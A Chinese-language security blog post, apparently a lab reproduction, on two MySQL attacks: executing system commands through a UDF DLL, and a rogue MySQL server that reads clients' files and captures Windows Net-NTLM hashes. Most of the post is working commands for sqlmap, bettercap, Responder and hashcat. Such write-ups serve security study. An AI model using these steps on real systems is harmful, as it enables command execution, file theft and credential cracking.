一、UDF提權(quán)
之前遇到php的環(huán)境,都是直接上傳大馬嘗試udf提權(quán),對(duì)udf的原理并不了解,今天花時(shí)間復(fù)現(xiàn)了一下。另外我覺(jué)得叫udf提權(quán)并不準(zhǔn)確,最終的結(jié)果是使用mysql執(zhí)行了系統(tǒng)命令,能不能提權(quán)成功取決于運(yùn)行mysql服務(wù)的是不是高權(quán)限用戶。
漏洞利用條件
- 已知mysql root用戶的賬號(hào)密碼
- 沒(méi)有secure_file_priv的限制
環(huán)境搭建
1.設(shè)置mysql允許root外聯(lián)
use mysql;
grant all privileges on *.* to root@'%' identified by 'root';
flush privileges;
2.設(shè)置secure_file_priv
secure_file_priv=
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";

漏洞利用
1.查詢mysql絕對(duì)路徑
select @@basedir;
show variables like "%plugin%";
2.利用ntfs數(shù)據(jù)流創(chuàng)建plugin文件夾(如果文件夾不存在)
測(cè)試發(fā)現(xiàn)低版本的mysql可以成功創(chuàng)建文件夾,高版本的沒(méi)有成功
mysql> select 'xxx' into dumpfile 'C:/phpstudy/MySQL/lib/plugin::$INDEX_ALLOCATION';
3.上傳udf.dll文件
mysql版本小于5.1時(shí),導(dǎo)出到c:\windows\system32目錄,大于5.1時(shí)導(dǎo)出到../lib/plugin目錄。
sqlmap和metasploit中都有udf文件,這里使用的msf,文件位置在/usr/share/metasploit-framework/data/exploits/mysql/
sqlmap -d "mysql://root:root@192.168.80.202:3306/mysql" --file-write="/root/lib_mysqludf_sys_32.dll" --file-dest="C:/phpStudy/mysql/lib/plugin/udf.dll"
4.從udf文件中引入自定義函數(shù)
MySQL [(none)]> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
5.使用自定義函數(shù)執(zhí)行系統(tǒng)命令
MySQL [(none)]> select sys_eval('whoami');

二、mysql任意文件讀取
原理
mysql的load data local infile函數(shù)用于讀取客戶端的文件并保存在表中,如果攻擊者搭建一個(gè)偽造的mysql服務(wù)器,當(dāng)有客戶端連接這個(gè)偽造的mysql服務(wù)器時(shí),利用load data local infile函數(shù),攻擊者就可以讀取客戶端主機(jī)上的文件。
實(shí)現(xiàn)過(guò)程
- 例如,使用kali(192.168.80.130)連接mysql服務(wù)器(192.168.80.140)
mysql -uroot -proot -h192.168.80.140
- 使用load data local infile函數(shù)讀取kali的/etc/passwd,并存入mysql.host表中
load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
- 查看mysql.host表,發(fā)現(xiàn)讀取成功

linux系統(tǒng)的利用
如果連接偽造MySQL服務(wù)器的客戶端在linux上運(yùn)行,我們可以通過(guò)以下方法讀取linux系統(tǒng)上的文件。
- 使用bettercap啟動(dòng)一個(gè)偽造的mysql服務(wù)器
root@kali:~# bettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"
- 當(dāng)有客戶端連接時(shí),能讀取到客戶端主機(jī)上的/etc/passwd文件
mysql -uroot -h192.168.80.130 -p


windows系統(tǒng)的利用
INFILE支持使用UNC路徑的方式,如果連接偽造MySQL服務(wù)器的客戶端在Windows上運(yùn)行,我們可以通過(guò)以下方法得到windows的Net-NTLM hash。
- 使用bettercap啟動(dòng)一個(gè)偽造的mysql服務(wù)器
root@kali:~# bettercap
set mysql.server.infile \\192.168.80.130\test
mysql.server on

- 使用responder開(kāi)啟中間人監(jiān)聽(tīng)
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
- 當(dāng)有客戶端使用mysql.exe命令或者使用Navicat連接時(shí),都能獲取到他的Net-NTLM hash(不過(guò)由于國(guó)內(nèi)運(yùn)營(yíng)商封禁了445端口,該利用方式在公網(wǎng)上影響有限)
mysql -uroot -h192.168.80.130 -p

- 最后可以使用hashcat來(lái)破解哈希值
-m 指定hash的類型,5600為NetNTLMv2
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force

影響
- 一些云服務(wù)器控制臺(tái)的數(shù)據(jù)遷移功能可能會(huì)存在這個(gè)漏洞
- 或者用在蜜罐上讀取攻擊者的信息
參考
https://www.cnblogs.com/litlife/p/9030673.html
https://www.colabug.com/2019/0408/5936906/
https://www.anquanke.com/post/id/106488